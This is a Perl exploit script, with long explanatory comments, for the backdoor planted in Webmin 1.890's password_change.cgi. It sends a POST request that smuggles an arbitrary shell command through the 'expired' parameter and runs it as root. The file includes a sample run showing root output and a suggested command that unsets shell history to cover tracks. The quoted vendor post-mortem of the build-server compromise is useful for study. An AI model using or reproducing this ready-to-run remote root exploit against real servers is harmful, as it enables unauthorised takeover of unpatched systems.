#!/usr/bin/perl -w # # Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit # # Copyright 2019 (c) Todor Donev # # Installation on CentOS: # rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # # Tested on CentOS # # Reproducing: # [root@localhost ~]# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download # ...... # [root@localhost ~]# sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf # # Restart Webmin and test the exploit.. # # [test@localhost ~]$ perl webmin.pl localhost 10000 id # [ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit # [ ==================================================================== # [ First time released at Defcon. Thank you guys, for all.. # [ Exploit by: Todor Donev # [ ==================================================================== # [ Usage: webmin.pl # [ e.g. webmin.pl localhost 10000 "unset HISTFILE;uname -a;id;uptime" # [+] Target: localhost # [+] Server: MiniServ/1.890 # uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:system_r:initrc_t:s0 # [test@localhost ~]$ # # # ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! # # Guys, please give a star to https://github.com/otvorete/petition # to support the cause of the Bulgarian Hackers (Developers) Community. # We want to makes our Electronic Government more securŠµ, transparent # and reliable. For this reason we want from our government to open # the source codes of the applications. So support us with a star, # please.. # # Special thanks to Konstantin Spirov that starting the cause!! # # # # Very smart but easy to found it: # # Webmin 1.920 - Backdoor # o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \; # /usr/libexec/webmin/password_change.cgi: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); # # Webmin 1.890 - Backdoor # o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \; # /usr/libexec/webmin/password_change.cgi:$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/; # # # This function (qx) is a alternative to using back-quotes to execute system commands. # For example, qx(ls -l) will execute the UNIX ls command using the -l command-line # option. You can actually use any set of delimiters, not just the parentheses. # This function returns the value from the executed system command. # # # Webmin 1.890 Exploit - What Happened? # # Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge # of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using # similar code, but it was not exploitable in a default Webmin install. Only if the admin had # enabled the feature at Webmin -> Webmin Configuration -> Authentication to allow changing of # expired passwords could it be used by an attacker. # # Neither of these were accidental bugs - rather, the Webmin source code had been maliciously # modified to add a non-obvious vulnerability. It appears that this happened as follows : # # o At some time in April 2018, the Webmin development build server was exploited and a # vulnerability added to the password_change.cgi script. Because the timestamp on the # file was set back, it did not show up in any Git diffs. This was included in the Webmin # 1.890 release. # # o The vulnerable file was reverted to the checked-in version from Github, but sometime # in July 2018 the file was modified again by the attacker. However, this time the exploit # was added to code that is only executed if changing of expired passwords is enabled. # This was included in the Webmin 1.900 release. # # o On September 10th 2018, the vulnerable build server was decomissioned and replaced with # a newly installed server running CentOS 7. However, the build directory containing the # modified file was copied across from backups made on the original server. # # o On August 17th 2019, we were informed that a 0-day exploit that made use of the # vulnerability had been released. In response, the exploit code was removed and Webmin # version 1.930 created and released to all users. # # In order to prevent similar attacks in future, we're doing the following : # # o Updating the build process to use only checked-in code from Github, rather than a local # directory that is kept in sync. # # o Rotated all passwords and keys accessible from the old build system. # # o Auditing all Github checkins over the past year to look for commits that may have # introduced similar vulnerabilities. # # # # SOURCE: http://webmin.com/exploit.html # # If the exploit not works, please install these packages from CPAN with this command: # # cpan install HTTP::Request WWW:UserAgent::Random LWP::UserAgent # # # To Webmin developers: # Guys, I think it's will be better Webmin to log POST parameters by default.. ;) # # # use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; my $host = shift || 'localhost'; my $port = shift || '10000'; my $cmd = shift || 'uname -a;id;uptime'; $cmd =~ s/\|/\;/g; print "[ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit\n"; print "[ ====================================================================\n"; print "[ First time released at Defcon. Thank you guys, for all..\n"; print "[ Exploit by: Todor Donev \n"; print "[ ====================================================================\n"; print "[ Usage: $0 \n"; print "[ e.g. $0 localhost 10000 \"unset HISTFILE;uname -a;id;uptime\"\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $browser->timeout(60); $browser->agent($user_agent); my $target = "https://".$host.":".$port."/password_change.cgi"; my $request = HTTP::Request->new (POST => $target, [ Content_Type => "application/x-www-form-urlencoded" , Referer => "https://".$host.":".$port."/session_login.cgi" ], "user=gotroot&pam=&expired=2|echo -n OWNED;$cmd;echo -n OWNED&old=gotroot&new1=gotroot&new2=gotroot"); $request->header("Cookie" => "redirect=1; testing=1; sid=x; sessiontest=1;"); my $content = $browser->request($request); if ($content->as_string() =~ m/OWNED(.*?)OWNED/s){ printf(STDOUT "[+] Target: %s\n[+] Server: %s\n%s", $host, $content->server() ,$1); exit; } else { printf(STDOUT "[-] Not OWNED.. Exploit failed! :((\n"); exit; }